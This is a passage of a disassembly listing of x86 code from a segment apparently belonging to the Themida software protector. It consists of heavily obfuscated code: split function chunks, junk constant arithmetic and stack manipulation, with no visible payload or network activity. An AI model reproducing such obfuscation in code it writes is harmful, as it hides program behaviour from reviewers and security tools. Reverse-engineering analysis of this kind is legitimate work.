FOR sub_56B06D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564D26 loc_573CF7: ; CODE XREF: sub_564D26-E81j mov edi, 5F664342h push ebp mov ebp, 77AE047Dh jmp loc_56878A ; END OF FUNCTION CHUNK FOR sub_564D26 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B11B loc_573D07: ; CODE XREF: sub_56B11B+17j add ecx, edx jmp loc_56424E ; END OF FUNCTION CHUNK FOR sub_56B11B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_573D0E: ; CODE XREF: sub_56616D+3428j mov edx, 983B2021h mov ecx, edx mov edx, [esp-0Ch+arg_8] add esp, 4 sub ecx, 7FF950FDh jmp loc_5693C4 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563FA2 loc_573D29: ; CODE XREF: sub_563FA2+9554j neg eax jmp loc_564532 ; END OF FUNCTION CHUNK FOR sub_563FA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565632 loc_573D30: ; CODE XREF: sub_565632+9CB9j mov edx, 76CF2AD7h shr edx, 3 inc edx inc edx add edx, 4B6A3C13h mov ebp, edx pop edx sub ebp, 5A44216Bh sub ebx, 502F1CDEh sub ebx, 1D4275CDh sub ebx, 499E6BF9h jmp loc_56F26D ; END OF FUNCTION CHUNK FOR sub_565632 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563BCC loc_573D60: ; CODE XREF: sub_563BCC+4431j mov [esp+8+var_8], edx mov edx, 4 push ebx jmp loc_566E6F ; END OF FUNCTION CHUNK FOR sub_563BCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D9E loc_573D6E: ; CODE XREF: sub_568D9E+Fj xchg ebp, [esp+0] mov esp, [esp+0] jmp loc_56A8C2 ; END OF FUNCTION CHUNK FOR sub_568D9E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5680AC loc_573D79: ; CODE XREF: sub_5680AC+CF80j pop esp jmp loc_56CA85 ; END OF FUNCTION CHUNK FOR sub_5680AC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FCD7 loc_573D7F: ; CODE XREF: sub_56FCD7-A6Fj push ecx mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_568F10 ; END OF FUNCTION CHUNK FOR sub_56FCD7 ; =============== S U B R O U T I N E ======================================= sub_573D90 proc near ; DATA XREF: Themida_:0055FE00o pop dword ptr fs:[edx] jmp loc_55FF9F sub_573D90 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_573D98: ; CODE XREF: sub_5753A5-1173Dj push edi push edx mov edx, 760F5F03h dec edx sub edx, 6959FAC2h mov edi, edx pop edx sub ebp, edi mov edi, [esp+0Ch+var_C] add esp, 4 pop eax push 2129h mov [esp+8+var_8], ebp push [esp+8+var_4] pop ebp pop [esp+8+var_8] jmp loc_56C1B9 ; END OF FUNCTION CHUNK FOR sub_5753A5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572D45 loc_573DCA: ; CODE XREF: sub_572D45-2ADCj pop ebp push esi mov esi, 1 add eax, esi pop esi sub eax, 74627E22h sub eax, 8CB08C4Eh push eax pop esi mov eax, [esp+0Ch+var_C] push ecx jmp loc_566D9F ; END OF FUNCTION CHUNK FOR sub_572D45 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_573612 loc_573DE9: ; CODE XREF: sub_573612-AE5Bj add ebx, edx sub ebx, 3E52660Dh pop edx jmp loc_574AB5 ; END OF FUNCTION CHUNK FOR sub_573612 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569A84 loc_573DF7: ; CODE XREF: sub_569A84+83Aj pop eax or eax, ecx pop ecx add eax, 0FFFFFFFFh and eax, 17D2398Ch sub eax, 1 push ecx push ebp mov ebp, 4FD731CDh mov ecx, 0C55FD508h add ecx, ebp pop ebp add eax, ecx jmp loc_563842 ; END OF FUNCTION CHUNK FOR sub_569A84 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56BD36 loc_573E1E: ; CODE XREF: sub_56BD36+9j push esp pop eax jmp loc_574F86 ; END OF FUNCTION CHUNK FOR sub_56BD36 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56ACDE loc_573E25: ; CODE XREF: sub_56ACDE+D5Dj xor edi, edx add edi, 235D70C6h sub edi, 3501E327h sub ebp, 736729C1h sub ebp, edi add ebp, 736729C1h pop edi add edi, ebp pop ebp push edi jmp loc_56C6EB ; END OF FUNCTION CHUNK FOR sub_56ACDE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57109F loc_573E4B: ; CODE XREF: sub_57109F+2A22j add esi, 720D00DEh add ebp, esi jmp loc_56B0D4 ; END OF FUNCTION CHUNK FOR sub_57109F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_573E58: ; CODE XREF: sub_574F16-12A5Fj pop esp add al, dl mov edx, [esp+4+var_6+2] add esp, 4 jmp loc_574B9E ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574656 loc_573E66: ; CODE XREF: sub_574656-55B8j pop eax or ebx, 77DC1E3Eh xor ebx, 68804E2Dh xchg ecx, ebx not ecx jmp loc_5649E5 ; END OF FUNCTION CHUNK FOR sub_574656 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CF1 loc_573E7C: ; CODE XREF: sub_560CF1+20j add esp, 4 and eax, edx push [esp+4+var_4] mov edx, [esp+8+var_8] sub esp, 4 mov [esp+0Ch+var_C], eax jmp loc_56FEF4 ; END OF FUNCTION CHUNK FOR sub_560CF1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673C3 loc_573E92: ; CODE XREF: sub_5673C3+3B16j xor ebp, [esp-4+arg_0] pop esp add esp, 4 jmp loc_570135 ; END OF FUNCTION CHUNK FOR sub_5673C3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56A423 loc_573EA1: ; CODE XREF: sub_56A423+760Bj push [esp+0Ch+var_C] push [esp+10h+var_10] pop ecx jmp sub_56E1B8 ; END OF FUNCTION CHUNK FOR sub_56A423 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566117 loc_573EAD: ; CODE XREF: sub_566117+1360j pop esp pop [esp+8+var_8] jmp loc_5614B6 ; END OF FUNCTION CHUNK FOR sub_566117 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_573EB6: ; CODE XREF: sub_5653AD+6408j push eax push ebp mov ebp, 17621E44h push edx push edi mov edi, 65C056D3h jmp loc_565886 ; --------------------------------------------------------------------------- loc_573EC9: ; CODE XREF: sub_5653AD+6j push edi jmp loc_56040D ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_573ECF: ; CODE XREF: sub_5605BC+2142j pop ebx sub ebx, 0A265D2Ah sub ebx, edx add ebx, 0A265D2Ah pop edx jmp loc_56EF77 ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5671E1 loc_573EE4: ; CODE XREF: sub_5671E1-5A12j sub edi, 4FE17422h add edi, esi add edi, 4FE17422h sub edi, 2E0F2F9Eh sub edi, 336541D9h add edi, 2990437Bh jmp loc_569772 ; END OF FUNCTION CHUNK FOR sub_5671E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_573F09: ; CODE XREF: sub_570CE4-8FB8j shl eax, 4 inc eax push edx mov edx, 29B729A5h sub edx, 36C8262Fh sub edx, 78C10218h shl edx, 8 jmp loc_574FAE ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5747FA loc_573F27: ; CODE XREF: sub_5747FA-73FDj mov ecx, [esp-4+arg_0] add esp, 4 sub esp, 4 mov [esp-4+arg_0], edi push ebp mov ebp, 65491ECAh add ebp, 466C57A3h jmp loc_561D9D ; END OF FUNCTION CHUNK FOR sub_5747FA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_573F4A: ; CODE XREF: sub_560EA2+108FCj xor ebp, eax pop eax xor edx, ebp pop ebp jmp loc_572D66 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_573F55: ; CODE XREF: sub_572DD7-E4D7j mov edi, ecx pop ecx add edi, 235300AAh neg edi not edi shl edi, 5 jmp loc_56B4D2 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56C474 loc_573F6A: ; CODE XREF: sub_56C474+14j mov [esp+10h+var_10], edx jmp loc_56A33E ; END OF FUNCTION CHUNK FOR sub_56C474 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575328 loc_573F72: ; CODE XREF: sub_575328-CDCEj pop ecx push ecx mov ecx, 3F392678h sub eax, ecx pop ecx add eax, ebp add eax, 3F392678h pop ebp jmp sub_56189F ; END OF FUNCTION CHUNK FOR sub_575328 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_573F89: ; CODE XREF: sub_56CC46+39ADj sub ecx, 1 and ecx, 461008B8h shl ecx, 1 dec ecx jmp loc_563BE1 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_573F9D: ; CODE XREF: sub_560056+CA00j push esi push ebx add [esp+8+var_8], 5E357C1Eh jmp loc_560A03 ; END OF FUNCTION CHUNK FOR sub_560056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_573FAB: ; CODE XREF: sub_563819-472j push edi mov edi, esp add edi, 4 add edi, 4 xchg edi, [esp+8+var_8] pop esp jmp loc_56175C ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570CE4 loc_573FC0: ; CODE XREF: sub_570CE4+1E1Bj or eax, 38657DF0h xor eax, 2C9C5071h and eax, 57967D2h jmp loc_56BDFF ; END OF FUNCTION CHUNK FOR sub_570CE4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57549C loc_573FD4: ; CODE XREF: sub_57549C-130A6j xor edi, ebx pop ebx push edi mov edi, 39F025F2h inc edi add edi, 188969BEh neg edi push edx jmp loc_561C45 ; END OF FUNCTION CHUNK FOR sub_57549C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560056 loc_573FEC: ; CODE XREF: sub_560056+76E4j add ebx, 4 add ebx, 4 xor ebx, [esp+10h+var_10] jmp loc_572988 ; END OF FUNCTION CHUNK FOR sub_560056 ; =============== S U B R O U T I N E ======================================= sub_574000 proc near ; DATA XREF: Themida_:0055FD9Co var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00560E7E SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005650E2 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056679B SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056A455 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056FA07 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0056FB60 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00570360 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00571631 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 00571BD8 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00572481 SIZE 0000003A BYTES mov cx, [esp+0] push eax mov eax, esp jmp loc_5650E2 sub_574000 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574F16 loc_57400C: ; CODE XREF: sub_574F16-E3AAj sub byte ptr [esp+6+var_6], 0F9h mov dl, byte ptr [esp+6+var_6] add esp, 2 jmp loc_562498 ; END OF FUNCTION CHUNK FOR sub_574F16 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56DAB2 loc_57401B: ; CODE XREF: sub_56DAB2+7759j add eax, ebp sub eax, 29700582h mov ebp, [esp+4+var_4] sub esp, 4 jmp loc_567272 ; END OF FUNCTION CHUNK FOR sub_56DAB2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561418 loc_57402D: ; CODE XREF: sub_561418+E8F2j add esp, 4 push edi jmp loc_57152D ; END OF FUNCTION CHUNK FOR sub_561418 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560844 loc_574039: ; CODE XREF: sub_560844+124F6j pop esi push ebp mov ebp, 4AAC2E92h sub esi, ebp pop ebp jmp loc_565425 ; END OF FUNCTION CHUNK FOR sub_560844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D4B8 loc_574048: ; CODE XREF: sub_56D4B8-C1BDj add esi, 4 add esi, 4 xchg esi, [esp-4+arg_0] pop esp push 32E2h mov [esp-4+arg_0], esi mov esi, 67395344h jmp sub_561541 ; END OF FUNCTION CHUNK FOR sub_56D4B8 ; --------------------------------------------------------------------------- loc_57406A: ; CODE XREF: Themida_:0056DD2Fj pop ecx and ebp, 0B422E80h sub ebp, 58743FBFh push 0 add dword ptr [esp], 16887CAAh jmp loc_574672 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5605BC loc_574088: ; CODE XREF: sub_5605BC+E9C7j add edx, esi mov esi, [esp+8+var_8] add esp, 4 xchg edx, [esp+4+var_4] mov esp, [esp+4+var_4] or eax, eax jnz loc_562EEF push 1 push [esp+8+var_8] pop edx jmp loc_5609EA ; END OF FUNCTION CHUNK FOR sub_5605BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E05C loc_5740AC: ; CODE XREF: sub_56E05C-A716j and edi, 7C5F44A9h add edi, 2E470A77h jmp loc_565271 ; END OF FUNCTION CHUNK FOR sub_56E05C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5753A5 loc_5740BD: ; CODE XREF: sub_5753A5-12C4Cj and esi, ebp pop ebp add esi, 42D95927h shr esi, 3 sub esi, 0F712B87Fh shr esi, 5 dec esi dec esi push 1401h mov [esp+10h+var_10], edx mov edx, 2C1F6041h and edx, 2EA31F3Ah add edx, 0E1CDF240h jmp loc_56A207 ; END OF FUNCTION CHUNK FOR sub_5753A5 ; =============== S U B R O U T I N E ======================================= sub_5740F2 proc near ; DATA XREF: Themida_:0055FF54o pop small word ptr [edx] jmp loc_55FF9F sub_5740F2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_5740FA: ; CODE XREF: Themida_:005636A8j pop ebp push 296h mov [esp], ecx mov ecx, 5DBD2155h sub ecx, 770FABFh jmp loc_57184C ; --------------------------------------------------------------------------- loc_574113: ; DATA XREF: Themida_:0055FCC4o mov ax, [esp] push 5CDh mov [esp], ecx push esp push dword ptr [esp] jmp loc_56A1A8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5653AD loc_574128: ; CODE XREF: sub_5653AD-3987j add ebx, eax jmp loc_56BDD8 ; END OF FUNCTION CHUNK FOR sub_5653AD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_561541 loc_57412F: ; CODE XREF: sub_561541+5B1Fj not esi xor esi, 252D30A7h sub esi, 0D30D8743h jmp loc_567147 ; END OF FUNCTION CHUNK FOR sub_561541 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_575328 loc_574142: ; CODE XREF: sub_575328+23j inc ebp inc ebp push ebp not [esp+10h+var_10] pop ebp shl ebp, 7 add ebp, 16646969h jmp loc_565194 ; END OF FUNCTION CHUNK FOR sub_575328 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57354D loc_574157: ; CODE XREF: sub_57354D-880Dj sub ecx, 3070C27h mov ebp, ecx pop ecx shr ebp, 3 push edi mov edi, 77DB7115h xor edi, 38FC116Fh sub ebp, edi mov edi, [esp+10h+var_10] add esp, 4 push ebx mov ebx, 0C037E8FFh jmp loc_5726EB ; END OF FUNCTION CHUNK FOR sub_57354D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_569193 loc_574185: ; CODE XREF: sub_569193+5788j add ecx, 347B100Dh add ecx, edi sub ecx, 347B100Dh mov edi, [esp+10h+var_10] add esp, 4 xchg ecx, [esp+0Ch+var_C] pop esp push eax mov eax, esp add eax, 4 add eax, 4 xchg eax, [esp+0Ch+var_C] mov esp, [esp+0Ch+var_C] or eax, eax jz loc_5749C3 push dword ptr [edi+1Ch] jmp loc_56646D ; END OF FUNCTION CHUNK FOR sub_569193 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_5741C1: ; CODE XREF: sub_572DD7+E44j mov eax, [esp+4+var_4] jmp loc_56C008 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C83 loc_5741C9: ; CODE XREF: sub_566C83-60ACj xchg edx, [esp+4+var_4] pop esp or ecx, ebx pop ebx add ecx, 0B04E113Bh jmp loc_5629E1 ; END OF FUNCTION CHUNK FOR sub_566C83 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CD13 loc_5741DB: ; CODE XREF: sub_56CD13-2D02j mov edx, 4 mov ecx, edx pop edx jmp loc_57482B ; END OF FUNCTION CHUNK FOR sub_56CD13 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_57109F loc_5741E8: ; CODE XREF: sub_57109F-10EFCj add ebp, 4 push esi mov esi, 42B13E12h or esi, 46F87B81h dec esi jmp loc_56A338 ; END OF FUNCTION CHUNK FOR sub_57109F ; --------------------------------------------------------------------------- loc_574200: ; CODE XREF: Themida_:00561182j push eax jmp loc_570B18 ; --------------------------------------------------------------------------- loc_574206: ; CODE XREF: Themida_:00569653j sub esi, 0BD08E2E4h sub ecx, esi pop esi push edx mov edx, 3B262869h neg edx push eax mov eax, 3AD56995h xor eax, 2CDC6AAEh add edx, eax jmp loc_56E202 ; =============== S U B R O U T I N E ======================================= sub_574229 proc near ; DATA XREF: Themida_:0055FF44o ; FUNCTION CHUNK AT 005610C3 SIZE 0000000B BYTES lodsb sub al, 0EAh jmp loc_5610C3 sub_574229 endp ; --------------------------------------------------------------------------- loc_574231: ; CODE XREF: Themida_:0056B17Ej sub ecx, 4132736Eh add ecx, 11CF052Ah pop eax push edi mov edi, 4EB60D73h jmp loc_562839 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56638C loc_574249: ; CODE XREF: sub_56638C+C649j push esi mov esi, 494471A7h mov edx, esi pop esi sub edx, 494471A3h add ebx, edx jmp loc_574FE4 ; END OF FUNCTION CHUNK FOR sub_56638C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_574AF3 loc_57425F: ; CODE XREF: sub_574AF3-42B0j add [esp+4+var_4], 4 mov ecx, [esp+4+var_4] add esp, 4 push ebp jmp loc_56812B ; END OF FUNCTION CHUNK FOR sub_574AF3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568764 loc_57426F: ; CODE XREF: sub_568764+57CEj mov esp, [esp+0] push 3107h mov [esp-4+arg_0], ebx push 538Ah mov [esp+0], edi jmp loc_5632E0 ; END OF FUNCTION CHUNK FOR sub_568764 ; =============== S U B R O U T I N E ======================================= sub_574287 proc near ; DATA XREF: Themida_:0055FDB0o var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00565FD0 SIZE 00000032 BYTES ; FUNCTION CHUNK AT 005678A4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00567E31 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00569AFE SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056A3C3 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0056EBAE SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056EE96 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 005721A4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00575271 SIZE 00000013 BYTES push dword ptr [esp+0] mov eax, [esp+4+var_4] jmp loc_56EBAE sub_574287 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_570732 loc_574292: ; CODE XREF: sub_570732-3F4Cj mov ecx, esp add ecx, 4 add ecx, 4 xchg ecx, [esp+0] mov esp, [esp+0] or eax, eax jz loc_5614C4 push ebp jmp sub_560276 ; END OF FUNCTION CHUNK FOR sub_570732 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56351E loc_5742B1: ; CODE XREF: sub_56351E+F9AEj push 3BB3h jmp loc_56371D ; END OF FUNCTION CHUNK FOR sub_56351E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_571F6F loc_5742BB: ; CODE XREF: sub_571F6F-F968j add esp, 4 sub al, bh mov ebx, [esp] add esp, 4 push eax mov ah, 7Eh shl ah, 4 push ebx mov bl, 7Ah jmp loc_57002C ; END OF FUNCTION CHUNK FOR sub_571F6F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_567D31 loc_5742D7: ; CODE XREF: sub_567D31+271Fj push [esp+8+var_8] jmp loc_5725D0 ; END OF FUNCTION CHUNK FOR sub_567D31 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56628B loc_5742DF: ; CODE XREF: sub_56628B-3A69j sub esi, 0B29B7FA6h sub esp, 4 jmp loc_56A8F8 ; END OF FUNCTION CHUNK FOR sub_56628B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563DCB loc_5742ED: ; CODE XREF: sub_563DCB+B8FDj push edi mov edi, 4 add eax, edi pop edi xchg eax, [esp+2+var_4+2] pop esp add al, cl mov ecx, [esp+0] jmp sub_564BC5 ; END OF FUNCTION CHUNK FOR sub_563DCB ; =============== S U B R O U T I N E ======================================= sub_574304 proc near ; CODE XREF: sub_569193+71C8j var_18 = dword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00560B30 SIZE 00000031 BYTES ; FUNCTION CHUNK AT 00560EB8 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00561167 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00561BAE SIZE 00000017 BYTES ; FUNCTION CHUNK AT 005633F7 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056395A SIZE 00000019 BYTES ; FUNCTION CHUNK AT 005644FF SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564AB3 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 005654CE SIZE 00000034 BYTES ; FUNCTION CHUNK AT 0056551F SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056564B SIZE 0000000F BYTES ; FUNCTION CHUNK AT 00565734 SIZE 0000002D BYTES ; FUNCTION CHUNK AT 00565D36 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0056661F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00566808 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056690B SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00566AB0 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00566B26 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 005675EF SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00567A7F SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00567BE6 SIZE 00000050 BYTES ; FUNCTION CHUNK AT 00568B4B SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00568FB0 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 0056A69D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056A865 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056AE9E SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0056B1F3 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056B3E0 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056C872 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0056D554 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0056D89C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056DE58 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0056E1AE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056F1B1 SIZE 0000001E BYTES ; FUNCTION CHUNK AT 0056F9D1 SIZE 00000036 BYTES ; FUNCTION CHUNK AT 00570B84 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 005710B9 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0057142E SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00571A18 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 00571C80 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00571DA1 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 005729B4 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 00572F17 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 005734B3 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0057470E SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0057486F SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00574AD6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 00574E2A SIZE 00000014 BYTES sub esp, 4 jmp loc_56564B sub_574304 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56FAE2 loc_57430C: ; CODE XREF: sub_56FAE2+293Fj mov word ptr [esp-0Eh+arg_8+2], sp jmp loc_56AA71 ; END OF FUNCTION CHUNK FOR sub_56FAE2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56616D loc_574315: ; CODE XREF: sub_56616D+D31Fj push dword ptr [esp+0] pop eax push esi mov esi, esp push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp+8+var_8] mov esp, [esp+8+var_8] jmp loc_562212 ; END OF FUNCTION CHUNK FOR sub_56616D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_574336: ; CODE XREF: sub_56CC46-C7DCj mov edx, esp jmp loc_56E082 ; END OF FUNCTION CHUNK FOR sub_56CC46 ; --------------------------------------------------------------------------- loc_57433D: ; CODE XREF: Themida_:00571E54j pop edi jmp loc_571ED9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566B37 loc_574343: ; CODE XREF: sub_566B37-679Fj sub esi, ecx pop ecx jmp loc_56518D ; END OF FUNCTION CHUNK FOR sub_566B37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5604FE loc_57434B: ; CODE XREF: sub_5604FE+8CBj push dword ptr [esp+0] push [esp+4+var_4] push [esp+8+var_8] pop eax add esp, 4 push eax jmp loc_57542D ; END OF FUNCTION CHUNK FOR sub_5604FE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56657A loc_574361: ; CODE XREF: sub_56657A+720Ej add ebp, 6266435Ah jmp loc_5647EE ; END OF FUNCTION CHUNK FOR sub_56657A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560EA2 loc_57436C: ; CODE XREF: sub_560EA2+13F83j push esi mov esi, 682D61FAh add eax, esi pop esi pop edx push ecx push edx mov edx, 1FF550Fh dec edx add edx, 2A365281h sub edx, 65B05395h push ebp push edi push 439B0378h jmp loc_56EE17 ; END OF FUNCTION CHUNK FOR sub_560EA2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_572DD7 loc_574396: ; CODE XREF: sub_572DD7-D631j sub dword ptr [esp+4], 63DB75D8h sub [esp+4], eax jmp loc_573C13 ; END OF FUNCTION CHUNK FOR sub_572DD7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5678CB loc_5743A7: ; CODE XREF: sub_5678CB+D280j mov esp, [esp+0Eh+var_E] mov ch, bh mov ebx, [esp+8+var_A+2] add esp, 4 sub ch, 4Ch add al, ch jmp loc_56747C ; END OF FUNCTION CHUNK FOR sub_5678CB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563819 loc_5743BF: ; CODE XREF: sub_563819+EBCCj xchg esi, [esp+0] pop esp jmp loc_570CAD ; END OF FUNCTION CHUNK FOR sub_563819 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5750DE loc_5743C8: ; CODE XREF: sub_5750DE-10F92j pop ecx add esp, 4 pop esi push eax jmp loc_565F66 ; END OF FUNCTION CHUNK FOR sub_5750DE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CC46 loc_5743D3: ; CODE XREF: sub_56CC46-BA01j push 395Bh mov [esp+0Ch+var_C], ebp mov ebp, 31D42B4Bh sub ebp, 2F853C21h jmp loc_561767 ; END OF 